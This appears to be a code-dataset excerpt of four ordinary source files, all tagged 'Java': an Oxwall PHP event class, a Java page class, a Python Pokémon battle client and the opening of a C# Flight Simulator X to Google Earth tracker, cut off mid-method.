code stringlengths 4 1.01M | language stringclasses 2 values |
|---|---|
<?php
/**
* EXHIBIT A. Common Public Attribution License Version 1.0
* The contents of this file are subject to the Common Public Attribution License Version 1.0 (the “License”);
* you may not use this file except in compliance with the License. You may obtain a copy of the License at
* http://www.oxwall.org/license. The License is based on the Mozilla Public License Version 1.1
* but Sections 14 and 15 have been added to cover use of software over a computer network and provide for
* limited attribution for the Original Developer. In addition, Exhibit A has been modified to be consistent
* with Exhibit B. Software distributed under the License is distributed on an “AS IS” basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language
* governing rights and limitations under the License. The Original Code is Oxwall software.
* The Initial Developer of the Original Code is Oxwall Foundation (http://www.oxwall.org/foundation).
* All portions of the code written by Oxwall Foundation are Copyright (c) 2011. All Rights Reserved.
* EXHIBIT B. Attribution Information
* Attribution Copyright Notice: Copyright 2011 Oxwall Foundation. All rights reserved.
* Attribution Phrase (not exceeding 10 words): Powered by Oxwall community software
* Attribution URL: http://www.oxwall.org/
* Graphic Image as provided in the Covered Code.
* Display of Attribution Information is required in Larger Works which are defined in the CPAL as a work
* which combines Covered Code or portions thereof with code not governed by the terms of the CPAL.
*/
/**
* Collector event
*
* @author Sergey Kambalin <greyexpert@gmail.com>
* @package ow_system_plugins.base.bol
* @since 1.0
*/
class BASE_CLASS_EventCollector extends OW_Event
{
public function __construct( $name, $params = array() )
{
parent::__construct($name, $params);
$this->data = array();
}
public function add( $item )
{
$this->data[] = $item;
}
public function setData( $data )
{
throw new LogicException("Can't set data in collector event `" . $this->getName() . "`!");
}
} | Java |
package org.mo.game.editor.face.apl.logic.report;
import org.mo.jfa.common.page.FAbstractFormPage;
public class FWebReportPage
extends FAbstractFormPage{
private static final long serialVersionUID = 1L;
private String _tempName;
public String getTempName(){
return _tempName;
}
public void setTempName(String tempName){
_tempName = tempName;
}
}
| Java |
import xml.etree.ElementTree as ET
import requests
from flask import Flask
import batalha
import pokemon
import ataque
class Cliente:
def __init__(self, execute = False, ip = '127.0.0.1', port = 5000, npc = False):
self.ip = ip
self.port = port
self.npc = npc
if (execute):
self.iniciaBatalha()
def writeXML(self, pkmn):
#Escreve um XML a partir de um pokemon
root = ET.Element('battle_state')
ET.SubElement(root, "pokemon")
poke = root.find('pokemon')
ET.SubElement(poke, "name")
poke.find('name').text = pkmn.getNome()
ET.SubElement(poke, "level")
poke.find('level').text = str(pkmn.getLvl())
ET.SubElement(poke, "attributes")
poke_att = poke.find('attributes')
ET.SubElement(poke_att, "health")
poke_att.find('health').text = str(pkmn.getHp())
ET.SubElement(poke_att, "attack")
poke_att.find('attack').text = str(pkmn.getAtk())
ET.SubElement(poke_att, "defense")
poke_att.find('defense').text = str(pkmn.getDefe())
ET.SubElement(poke_att, "speed")
poke_att.find('speed').text = str(pkmn.getSpd())
ET.SubElement(poke_att, "special")
poke_att.find('special').text = str(pkmn.getSpc())
ET.SubElement(poke, "type")
ET.SubElement(poke, "type")
tipos = poke.findall('type')
tipos[0].text = str(pkmn.getTyp1())
tipos[1].text = str(pkmn.getTyp2())
for i in range(0, 4):
atk = pkmn.getAtks(i)
if (atk is not None):
ET.SubElement(poke, "attacks")
poke_atk = poke.findall('attacks')
ET.SubElement(poke_atk[-1], "id")
poke_atk[-1].find('id').text = str(i + 1)
ET.SubElement(poke_atk[-1], "name")
poke_atk[-1].find('name').text = atk.getNome()
ET.SubElement(poke_atk[-1], "type")
poke_atk[-1].find('type').text = str(atk.getTyp())
ET.SubElement(poke_atk[-1], "power")
poke_atk[-1].find('power').text = str(atk.getPwr())
ET.SubElement(poke_atk[-1], "accuracy")
poke_atk[-1].find('accuracy').text = str(atk.getAcu())
ET.SubElement(poke_atk[-1], "power_points")
poke_atk[-1].find('power_points').text = str(atk.getPpAtual())
s = ET.tostring(root)
return s
def iniciaBatalha(self):
pkmn = pokemon.Pokemon()
xml = self.writeXML(pkmn)
try:
self.battle_state = requests.post('http://{}:{}/battle/'.format(self.ip, self.port), data = xml).text
except requests.exceptions.ConnectionError:
print("Não foi possível conectar ao servidor.")
return None
pkmn2 = pokemon.lePokemonXML(1, self.battle_state)
self.batalha = batalha.Batalha([pkmn, pkmn2])
if (self.npc):
self.batalha.pkmn[0].npc = True
print("Eu sou um NPC")
self.batalha.turno = 0
self.batalha.display.showPokemon(self.batalha.pkmn[0])
self.batalha.display.showPokemon(self.batalha.pkmn[1])
return self.atualizaBatalha()
def atualizaBatalha(self):
self.batalha.AlternaTurno()
root = ET.fromstring(self.battle_state)
for i in range(0,2):
pkmnXML = root[i]
atksXML = root[i].findall('attacks')
pkmn = self.batalha.pkmn[i]
pkmn.setHpAtual(int(pkmnXML.find('attributes').find('health').text))
self.batalha.showStatus()
if (not self.batalha.isOver()):
self.batalha.AlternaTurno()
if (self.batalha.pkmn[self.batalha.turno].npc):
id = self.batalha.EscolheAtaqueInteligente()
else:
id = self.batalha.EscolheAtaque()
self.batalha.pkmn[0].getAtks(id).decreasePp()
if (id == 4):
self.battle_state = requests.post('http://{}:{}/battle/attack/{}'.format(self.ip, self.port, 0)).text
else:
self.battle_state = requests.post('http://{}:{}/battle/attack/{}'.format(self.ip, self.port, id + 1)).text
self.simulaAtaque(id)
self.atualizaBatalha()
else:
self.batalha.showResults()
return 'FIM'
def sendShutdownSignal(self):
requests.post('http://{}:{}/shutdown'.format(self.ip, self.port))
def simulaAtaque(self, idCliente):
disp = self.batalha.display
root = ET.fromstring(self.battle_state)
pkmnCXML = root[0]
pkmnC = self.batalha.pkmn[0]
pkmnSXML = root[1]
pkmnS = self.batalha.pkmn[1]
atksXML = pkmnSXML.findall('attacks')
idServidor = self.descobreAtaqueUsado(atksXML, pkmnS)
if (int(pkmnSXML.find('attributes').find('health').text) > 0):
if (idCliente != 4):
if (idServidor != 4):
dmg = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text)
if (dmg == 0):
disp.miss(pkmnC, pkmnS, pkmnC.getAtks(idCliente))
else:
disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmg)
dmg = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text)
if (dmg == 0):
disp.miss(pkmnS, pkmnC, pkmnS.getAtks(idServidor))
else:
disp.hit(pkmnS, pkmnC, pkmnS.getAtks(idServidor), dmg)
else:
dmgStruggle = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text)
dmg = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text) + round(dmgStruggle / 2, 0)
if (dmg == 0):
disp.miss(pkmnC, pkmnS, pkmnC.getAtks(idCliente))
else:
disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmg)
disp.hit(pkmnS, pkmnC, pkmnS.getAtks(idServidor), dmgStruggle)
disp.hitSelf(pkmnS, round(dmgStruggle / 2, 0))
else:
if (idServidor != 4):
dmgStruggle = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text)
disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmgStruggle)
disp.hitSelf(pkmnC, round(dmgStruggle / 2, 0))
dmg = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text) + round(dmgStruggle / 2, 0)
if (dmg == 0):
disp.miss(pkmnS, pkmnC, pkmnS.getAtks(idServidor))
else:
disp.hit(pkmnS, pkmnC, pkmnS.getAtks(idServidor), dmg)
else:
print('Ambos usam e se machucam com Struggle!')
else:
if (idCliente != 4):
dmg = pkmnS.getHpAtual() - int(pkmnSXML.find('attributes').find('health').text)
if (dmg == 0):
disp.miss(pkmnC, pkmnS, pkmnC.getAtks(idCliente))
else:
disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idCliente), dmg)
else:
dmgStruggle = pkmnC.getHpAtual() - int(pkmnCXML.find('attributes').find('health').text)
disp.hit(pkmnC, pkmnS, pkmnC.getAtks(idServidor), dmgStruggle * 2)
disp.hitSelf(pkmnC, round(dmgStruggle, 0))
def descobreAtaqueUsado(self, atksXML, pkmn):
for i in range(0, len(atksXML)):
id = int(atksXML[i].find('id').text) - 1
ppXML = int(atksXML[i].find('power_points').text)
pp = pkmn.getAtks(id).getPpAtual()
if (pp != ppXML):
pkmn.getAtks(id).decreasePp()
return id
return id
| Java |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net;
using System.Collections;
using System.Web;
using System.Xml;
using System.Reflection;
using Microsoft.Win32;
using System.Globalization;
using Microsoft.FlightSimulator.SimConnect;
using System.Runtime.InteropServices;
namespace FSX_Google_Earth_Tracker
{
public partial class Form1 : Form
{
#region Global Variables
bool bErrorOnLoad = false;
Form2 frmAdd = new Form2();
String szAppPath = "";
//String szCommonPath = "";
String szUserAppPath = "";
String szFilePathPub = "";
String szFilePathData = "";
String szServerPath = "";
IPAddress[] ipalLocal1 = null;
IPAddress[] ipalLocal2 = null;
System.Object lockIPAddressList = new System.Object();
string /* szPathGE , */ szPathFSX;
const string szRegKeyRun = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//const int iOnlineVersionCheckRawDataLength = 64;
//WebRequest wrOnlineVersionCheck;
//WebResponse wrespOnlineVersionCheck;
//private byte[] bOnlineVersionCheckRawData = new byte[iOnlineVersionCheckRawDataLength];
//String szOnlineVersionCheckData = "";
XmlTextReader xmlrSeetingsFile;
XmlTextWriter xmlwSeetingsFile;
XmlDocument xmldSettings;
GlobalFixConfiguration gconffixCurrent = new GlobalFixConfiguration();
GlobalChangingConfiguration gconfchCurrent;
System.Object lockChConf = new System.Object();
bool bClose = false;
bool bConnected = false;
//bool bServerUp = false;
bool bRestartRequired = false;
const int WM_USER_SIMCONNECT = 0x0402;
SimConnect simconnect = null;
Icon icActive, icDisabled, icReceive;
Image imgAtcLabel;
HttpListener listener;
System.Object lockListenerControl = new System.Object();
uint uiUserAircraftID = 0;
bool bUserAircraftIDSet = false;
System.Object lockUserAircraftID = new System.Object();
StructBasicMovingSceneryObject suadCurrent;
System.Object lockKmlUserAircraft = new System.Object();
String szKmlUserAircraftPath = "";
System.Object lockKmlUserPath = new System.Object();
PathPosition ppPos1, ppPos2;
String szKmlUserPrediction = "";
List<PathPositionStored> listKmlPredictionPoints;
System.Object lockKmlUserPrediction = new System.Object();
System.Object lockKmlPredictionPoints = new System.Object();
DataRequestReturn drrAIPlanes;
System.Object lockDrrAiPlanes = new System.Object();
DataRequestReturn drrAIHelicopters;
System.Object lockDrrAiHelicopters = new System.Object();
DataRequestReturn drrAIBoats;
System.Object lockDrrAiBoats = new System.Object();
DataRequestReturn drrAIGround;
System.Object lockDrrAiGround = new System.Object();
List<ObjectImage> listIconsGE;
List<ObjectImage> listImgUnitsAir, listImgUnitsWater, listImgUnitsGround;
//List<FlightPlan> listFlightPlans;
//System.Object lockFlightPlanList = new System.Object();
byte[] imgNoImage;
#endregion
#region Structs & Enums
enum DEFINITIONS
{
StructBasicMovingSceneryObject,
};
enum DATA_REQUESTS
{
REQUEST_USER_AIRCRAFT,
REQUEST_USER_PATH,
REQUEST_USER_PREDICTION,
REQUEST_AI_HELICOPTER,
REQUEST_AI_PLANE,
REQUEST_AI_BOAT,
REQUEST_AI_GROUND
};
enum KML_FILES
{
REQUEST_USER_AIRCRAFT,
REQUEST_USER_PATH,
REQUEST_USER_PREDICTION,
REQUEST_AI_HELICOPTER,
REQUEST_AI_PLANE,
REQUEST_AI_BOAT,
REQUEST_AI_GROUND,
REQUEST_FLIGHT_PLANS
};
enum KML_ACCESS_MODES
{
MODE_SERVER,
MODE_FILE_LOCAL,
MODE_FILE_USERDEFINED
};
enum KML_IMAGE_TYPES
{
AIRCRAFT,
WATER,
GROUND
};
enum KML_ICON_TYPES
{
USER_AIRCRAFT_POSITION,
USER_PREDICTION_POINT,
AI_AIRCRAFT_PREDICTION_POINT,
AI_HELICOPTER_PREDICTION_POINT,
AI_BOAT_PREDICTION_POINT,
AI_GROUND_PREDICTION_POINT,
AI_AIRCRAFT,
AI_HELICOPTER,
AI_BOAT,
AI_GROUND_UNIT,
PLAN_VOR,
PLAN_NDB,
PLAN_USER,
PLAN_PORT,
PLAN_INTER,
ATC_LABEL,
UNKNOWN
};
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
struct StructBasicMovingSceneryObject
{
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
public String szTitle;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
public String szATCType;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
public String szATCModel;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
public String szATCID;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
public String szATCAirline;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
public String szATCFlightNumber;
public double dLatitude;
public double dLongitude;
public double dAltitude;
public double dSpeed;
public double dVSpeed;
//public double dSpeedX;
//public double dSpeedY;
//public double dSpeedZ;
public double dTime;
};
struct DataRequestReturn
{
public List<DataRequestReturnObject> listFirst;
public List<DataRequestReturnObject> listSecond;
public uint uiLastEntryNumber;
public uint uiCurrentDataSet;
public bool bClearOnNextRun;
};
struct DataRequestReturnObject
{
public uint uiObjectID;
public StructBasicMovingSceneryObject bmsoObject;
public String szCoursePrediction;
public PathPositionStored[] ppsPredictionPoints;
}
struct PathPosition
{
public bool bInitialized;
public double dLat;
public double dLong;
public double dAlt;
public double dTime;
}
struct PathPositionStored
{
public double dLat;
public double dLong;
public double dAlt;
public double dTime;
}
struct ObjectImage
{
public String szTitle;
public String szPath;
public byte[] bData;
};
class GlobalFixConfiguration
{
public bool bLoadKMLFile;
//public bool bCheckForUpdates;
public long iServerPort;
public uint uiServerAccessLevel;
public String szUserdefinedPath;
public bool bQueryUserAircraft;
public long iTimerUserAircraft;
public bool bQueryUserPath;
public long iTimerUserPath;
public bool bUserPathPrediction;
public long iTimerUserPathPrediction;
public double[] dPredictionTimes;
public bool bQueryAIObjects;
public bool bQueryAIAircrafts;
public long iTimerAIAircrafts;
public long iRangeAIAircrafts;
public bool bPredictAIAircrafts;
public bool bPredictPointsAIAircrafts;
public bool bQueryAIHelicopters;
public long iTimerAIHelicopters;
public long iRangeAIHelicopters;
public bool bPredictAIHelicopters;
public bool bPredictPointsAIHelicopters;
public bool bQueryAIBoats;
public long iTimerAIBoats;
public long iRangeAIBoats;
public bool bPredictAIBoats;
public bool bPredictPointsAIBoats;
public bool bQueryAIGroundUnits;
public long iTimerAIGroundUnits;
public long iRangeAIGroundUnits;
public bool bPredictAIGroundUnits;
public bool bPredictPointsAIGroundUnits;
public long iUpdateGEUserAircraft;
public long iUpdateGEUserPath;
public long iUpdateGEUserPrediction;
public long iUpdateGEAIAircrafts;
public long iUpdateGEAIHelicopters;
public long iUpdateGEAIBoats;
public long iUpdateGEAIGroundUnits;
public bool bFsxConnectionIsLocal;
public String szFsxConnectionProtocol;
public String szFsxConnectionHost;
public String szFsxConnectionPort;
public bool bExitOnFsxExit;
private Object lock_utUnits = new Object();
private UnitType priv_utUnits;
public UnitType utUnits
{
get
{
lock (lock_utUnits)
{
return priv_utUnits;
}
}
set
{
lock (lock_utUnits)
{
priv_utUnits = value;
}
}
}
//public bool bLoadFlightPlans;
};
struct GlobalChangingConfiguration
{
public bool bEnabled;
public bool bShowBalloons;
};
struct ListBoxPredictionTimesItem
{
public double dTime;
public override String ToString()
{
if (dTime < 60)
return "ETA " + dTime + " sec";
else if (dTime < 3600)
return "ETA " + Math.Round(dTime / 60.0, 1) + " min";
else
return "ETA " + Math.Round(dTime / 3600.0, 2) + " hrs";
}
}
enum UnitType
{
METERS,
FEET
};
//struct ListViewFlightPlansItem
//{
// public String szName;
// public int iID;
// public override String ToString()
// {
// return szName.ToString();
// }
//}
//struct FlightPlan
//{
// public int uiID;
// public String szName;
// public XmlDocument xmldPlan;
//}
#endregion
#region Form Functions
public Form1()
{
//As this method doesn't start any other threads we don't need to lock anything here (especially not the config file xml document)
InitializeComponent();
Text = AssemblyTitle;
thrConnect = new Thread(new ThreadStart(openConnectionThreadFunction));
text = Text;
// Set data for the about page
this.labelProductName.Text = AssemblyProduct;
this.labelVersion.Text = String.Format("Version {0}", AssemblyVersion);
this.labelCopyright.Text = AssemblyCopyright;
this.labelCompanyName.Text = AssemblyCompany;
// Set file path
#if DEBUG
szAppPath = Application.StartupPath + "\\..\\..";
szUserAppPath = szAppPath + "\\AppData\\" + AssemblyVersion;
#else
szAppPath = Application.StartupPath;
szUserAppPath = Application.UserAppDataPath;
#endif
szFilePathPub = szAppPath + "\\pub";
szFilePathData = szAppPath + "\\data";
// Check if config file for current user exists
if (!File.Exists(szUserAppPath + "\\settings.cfg"))
{
if (!Directory.Exists(szUserAppPath))
Directory.CreateDirectory(szUserAppPath);
File.Copy(szAppPath + "\\data\\settings.default", szUserAppPath + "\\settings.cfg");
File.SetAttributes(szUserAppPath + "\\settings.cfg", FileAttributes.Normal);
}
// Load config file into memory
xmlrSeetingsFile = new XmlTextReader(szUserAppPath + "\\settings.cfg");
xmldSettings = new XmlDocument();
xmldSettings.PreserveWhitespace = true;
xmldSettings.Load(xmlrSeetingsFile);
xmlrSeetingsFile.Close();
xmlrSeetingsFile = null;
// Make sure we have a config file for the right version
// (future version should contain better checks and update from old config files to new version)
String szConfigVersion = "";
bool bUpdate = false;
try
{
szConfigVersion = xmldSettings["fsxget"]["settings"].Attributes["version"].Value;
}
catch
{
bUpdate = true;
}
if (bUpdate || !szConfigVersion.Equals(ProductVersion.ToLower()))
{
try
{
File.SetAttributes(szUserAppPath + "\\settings.cfg", FileAttributes.Normal);
File.Delete(szUserAppPath + "\\settings.cfg");
File.Copy(szAppPath + "\\data\\settings.default", szUserAppPath + "\\settings.cfg");
File.SetAttributes(szUserAppPath + "\\settings.cfg", FileAttributes.Normal);
xmlrSeetingsFile = new XmlTextReader(szUserAppPath + "\\settings.cfg");
xmldSettings = new XmlDocument();
xmldSettings.PreserveWhitespace = true;
xmldSettings.Load(xmlrSeetingsFile);
xmlrSeetingsFile.Close();
xmlrSeetingsFile = null;
xmldSettings["fsxget"]["settings"].Attributes["version"].Value = ProductVersion;
}
catch
{
MessageBox.Show("The config file for this program cannot be updated. Aborting!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
bErrorOnLoad = true;
return;
}
}
// Mirror values we need from config file in memory to variables
try
{
ConfigMirrorToVariables();
}
catch
{
MessageBox.Show("The config file for this program contains errors. Aborting!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
bErrorOnLoad = true;
return;
}
// Write SimConnect configuration file
try { File.Delete(szAppPath + "\\SimConnect.cfg"); }
catch { }
if (!gconffixCurrent.bFsxConnectionIsLocal)
{
try
{
StreamWriter swSimConnectCfg = File.CreateText(szAppPath + "\\SimConnect.cfg");
swSimConnectCfg.WriteLine("; FSXGET SimConnect client configuration");
swSimConnectCfg.WriteLine();
swSimConnectCfg.WriteLine("[SimConnect]");
swSimConnectCfg.WriteLine("Protocol=" + gconffixCurrent.szFsxConnectionProtocol);
swSimConnectCfg.WriteLine("Address=" + gconffixCurrent.szFsxConnectionHost);
swSimConnectCfg.WriteLine("Port=" + gconffixCurrent.szFsxConnectionPort);
swSimConnectCfg.WriteLine();
swSimConnectCfg.Flush();
swSimConnectCfg.Close();
swSimConnectCfg.Dispose();
}
catch
{
MessageBox.Show("The SimConnect client configuration file could not be written. Aborting!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
bErrorOnLoad = true;
return;
}
}
// Update the notification icon context menu
lock (lockChConf)
{
enableTrackerToolStripMenuItem.Checked = gconfchCurrent.bEnabled;
showBalloonTipsToolStripMenuItem.Checked = gconfchCurrent.bShowBalloons;
}
// Set timer intervals
timerFSXConnect.Interval = 1500;
timerQueryUserAircraft.Interval = (int)gconffixCurrent.iTimerUserAircraft;
timerQueryUserPath.Interval = (int)gconffixCurrent.iTimerUserPath;
timerUserPrediction.Interval = (int)gconffixCurrent.iTimerUserPathPrediction;
timerQueryAIAircrafts.Interval = (int)gconffixCurrent.iTimerAIAircrafts;
timerQueryAIHelicopters.Interval = (int)gconffixCurrent.iTimerAIHelicopters;
timerQueryAIBoats.Interval = (int)gconffixCurrent.iTimerAIBoats;
timerQueryAIGroundUnits.Interval = (int)gconffixCurrent.iTimerAIGroundUnits;
timerIPAddressRefresh.Interval = 10000;
// Set server settings
szServerPath = "http://+:" + gconffixCurrent.iServerPort.ToString();
listener = new HttpListener();
listener.Prefixes.Add(szServerPath + "/");
// Lookup (in the config file) and load program icons, google earth pins and object images
try
{
// notification icons
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["gfx"]["program"]["icons"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.NodeType == XmlNodeType.Whitespace)
continue;
if (xmlnTemp.Attributes["Name"].Value == "Taskbar - Enabled")
icActive = new Icon(szFilePathData + xmlnTemp.Attributes["Img"].Value);
else if (xmlnTemp.Attributes["Name"].Value == "Taskbar - Disabled")
icDisabled = new Icon(szFilePathData + xmlnTemp.Attributes["Img"].Value);
else if (xmlnTemp.Attributes["Name"].Value == "Taskbar - Connected")
icReceive = new Icon(szFilePathData + xmlnTemp.Attributes["Img"].Value);
}
notifyIconMain.Icon = icDisabled;
notifyIconMain.Text = this.Text;
notifyIconMain.Visible = true;
// google earth icons
listIconsGE = new List<ObjectImage>(xmldSettings["fsxget"]["gfx"]["ge"]["icons"].ChildNodes.Count);
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["gfx"]["ge"]["icons"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.NodeType == XmlNodeType.Whitespace)
continue;
ObjectImage imgTemp = new ObjectImage();
imgTemp.szTitle = xmlnTemp.Attributes["Name"].Value;
imgTemp.bData = File.ReadAllBytes(szFilePathPub + xmlnTemp.Attributes["Img"].Value);
listIconsGE.Add(imgTemp);
}
// no-image image
imgNoImage = File.ReadAllBytes(szFilePathPub + xmldSettings["fsxget"]["gfx"]["scenery"]["noimage"].Attributes["Img"].Value);
// ATC label base image
imgAtcLabel = Image.FromFile(szFilePathData + xmldSettings["fsxget"]["gfx"]["ge"]["atclabel"].Attributes["Img"].Value);
// object images
listImgUnitsAir = new List<ObjectImage>(xmldSettings["fsxget"]["gfx"]["scenery"]["air"].ChildNodes.Count);
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["gfx"]["scenery"]["air"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.NodeType == XmlNodeType.Whitespace)
continue;
ObjectImage imgTemp = new ObjectImage();
imgTemp.szTitle = xmlnTemp.Attributes["Name"].Value;
imgTemp.szPath = xmlnTemp.Attributes["Img"].Value;
imgTemp.bData = File.ReadAllBytes(szFilePathPub + xmlnTemp.Attributes["Img"].Value);
listImgUnitsAir.Add(imgTemp);
}
listImgUnitsWater = new List<ObjectImage>(xmldSettings["fsxget"]["gfx"]["scenery"]["water"].ChildNodes.Count);
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["gfx"]["scenery"]["water"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.NodeType == XmlNodeType.Whitespace)
continue;
ObjectImage imgTemp = new ObjectImage();
imgTemp.szTitle = xmlnTemp.Attributes["Name"].Value;
imgTemp.szPath = xmlnTemp.Attributes["Img"].Value;
imgTemp.bData = File.ReadAllBytes(szFilePathPub + xmlnTemp.Attributes["Img"].Value);
listImgUnitsWater.Add(imgTemp);
}
listImgUnitsGround = new List<ObjectImage>(xmldSettings["fsxget"]["gfx"]["scenery"]["ground"].ChildNodes.Count);
for (XmlNode xmlnTemp = xmldSettings["fsxget"]["gfx"]["scenery"]["ground"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
{
if (xmlnTemp.NodeType == XmlNodeType.Whitespace)
continue;
ObjectImage imgTemp = new ObjectImage();
imgTemp.szTitle = xmlnTemp.Attributes["Name"].Value;
imgTemp.szPath = xmlnTemp.Attributes["Img"].Value;
imgTemp.bData = File.ReadAllBytes(szFilePathPub + xmlnTemp.Attributes["Img"].Value);
listImgUnitsWater.Add(imgTemp);
}
}
catch
{
MessageBox.Show("Could not load all graphics files probably due to errors in the config file. Aborting!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
bErrorOnLoad = true;
return;
}
// Initialize some variables
clearDrrStructure(ref drrAIPlanes);
clearDrrStructure(ref drrAIHelicopters);
clearDrrStructure(ref drrAIBoats);
clearDrrStructure(ref drrAIGround);
clearPPStructure(ref ppPos1);
clearPPStructure(ref ppPos2);
//listFlightPlans = new List<FlightPlan>();
listKmlPredictionPoints = new List<PathPositionStored>(gconffixCurrent.dPredictionTimes.GetLength(0));
// Test drive the following function which loads data from the config file, as it will be used regularly later on
try
{
ConfigMirrorToForm();
}
catch
{
MessageBox.Show("The config file for this program contains errors. Aborting!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
bErrorOnLoad = true;
return;
}
// Load FSX and Google Earth path from registry
const string szRegKeyFSX = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft Games\\flight simulator\\10.0";
//const string szRegKeyGE = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Google\\Google Earth Plus";
//const string szRegKeyGE2 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Google\\Google Earth Pro";
//szPathGE = (string)Registry.GetValue(szRegKeyGE, "InstallDir", "");
//if (szPathGE == "")
// szPathGE = (string)Registry.GetValue(szRegKeyGE2, "InstallDir", "");
szPathFSX = (string)Registry.GetValue(szRegKeyFSX, "SetupPath", "");
//if (szPathGE != "")
//{
// szPathGE += "\\googleearth.exe";
// if (File.Exists(szPathGE))
// runGoogleEarthToolStripMenuItem.Enabled = true;
// else
// runGoogleEarthToolStripMenuItem.Enabled = false;
//}
//else
// runGoogleEarthToolStripMenuItem.Enabled = false;
runGoogleEarthToolStripMenuItem.Enabled = true;
if (szPathFSX != "")
{
szPathFSX += "fsx.exe";
if (File.Exists(szPathFSX))
runMicrosoftFlightSimulatorXToolStripMenuItem.Enabled = true;
else
runMicrosoftFlightSimulatorXToolStripMenuItem.Enabled = false;
}
else
runMicrosoftFlightSimulatorXToolStripMenuItem.Enabled = false;
// Write Google Earth startup KML file
String szTempKMLFile = "";
String szTempKMLFileStatic = "";
if (CompileKMLStartUpFileDynamic("localhost", ref szTempKMLFile) && CompileKMLStartUpFileStatic("localhost", ref szTempKMLFileStatic))
{
try
{
if (!Directory.Exists(szUserAppPath + "\\pub"))
Directory.CreateDirectory(szUserAppPath + "\\pub");
File.WriteAllText(szUserAppPath + "\\pub\\fsxgetd.kml", szTempKMLFile);
File.WriteAllText(szUserAppPath + "\\pub\\fsxgets.kml", szTempKMLFileStatic);
}
catch
{
MessageBox.Show("Could not write KML file for google earth. Aborting!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
bErrorOnLoad = true;
return;
}
}
else
{
MessageBox.Show("Could not write KML file for google earth. Aborting!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
bErrorOnLoad = true;
return;
}
// Init some never-changing form fields
textBoxLocalPubPath.Text = szFilePathPub;
// Load flight plans
//if (gconffixCurrent.bLoadFlightPlans)
// LoadFlightPlans();
// Online Update Check
//if (gconffixCurrent.bCheckForUpdates)
// checkForProgramUpdate();
}
private void Form1_Load(object sender, EventArgs e)
{
if (bErrorOnLoad)
return;
}
private void Form1_Shown(object sender, EventArgs e)
{
if (bErrorOnLoad)
{
bClose = true;
Close();
}
else
{
Hide();
lock (lockListenerControl)
{
listener.Start();
listener.BeginGetContext(new AsyncCallback(ListenerCallback), listener);
//bServerUp = true;
}
globalConnect();
}
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
if (!bClose)
{
e.Cancel = true;
safeHideMainDialog();
}
}
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
if (bErrorOnLoad)
return;
notifyIconMain.ContextMenuStrip = null;
// Save xml document in memory to config file on disc
xmlwSeetingsFile = new XmlTextWriter(szUserAppPath + "\\settings.cfg", null);
xmldSettings.PreserveWhitespace = true;
xmldSettings.Save(xmlwSeetingsFile);
xmlwSeetingsFile.Flush();
xmlwSeetingsFile.Close();
xmldSettings = null;
// Disconnect with FSX
lock (lockChConf)
{
gconfchCurrent.bEnabled = false;
}
globalDisconnect();
// Stop server
lock (lockListenerControl)
{
//bServerUp = false;
listener.Stop();
listener.Abort();
timerIPAddressRefresh.Stop();
}
// Delete temporary KML file
if (File.Exists(szFilePathPub + "\\fsxget.kml"))
{
try
{
File.Delete(szFilePathPub + "\\fsxget.kml");
}
catch { }
}
if (File.Exists(szAppPath + "\\SimConnect.cfg"))
{
try
{
File.Delete(szAppPath + "\\SimConnect.cfg");
}
catch { }
}
}
protected override void DefWndProc(ref Message m)
{
if (m.Msg == WM_USER_SIMCONNECT)
{
if (simconnect != null)
{
try
{
simconnect.ReceiveMessage();
}
catch
{
#if DEBUG
safeShowBalloonTip(3, "Error", "Error receiving data from FSX!", ToolTipIcon.Error);
#endif
}
}
}
else
base.DefWndProc(ref m);
}
#endregion
#region FSX Connection
Object lock_ConnectThread = new Object();
String text;
public void openConnectionThreadFunction()
{
while (simconnect == null)
{
try
{
simconnect = new SimConnect(text, IntPtr.Zero, WM_USER_SIMCONNECT, null, 0);
}
catch { }
if (simconnect == null)
Thread.Sleep(2000);
}
}
private bool openConnection()
{
if (thrConnect.ThreadState == ThreadState.Unstarted)
{
thrConnect.Start();
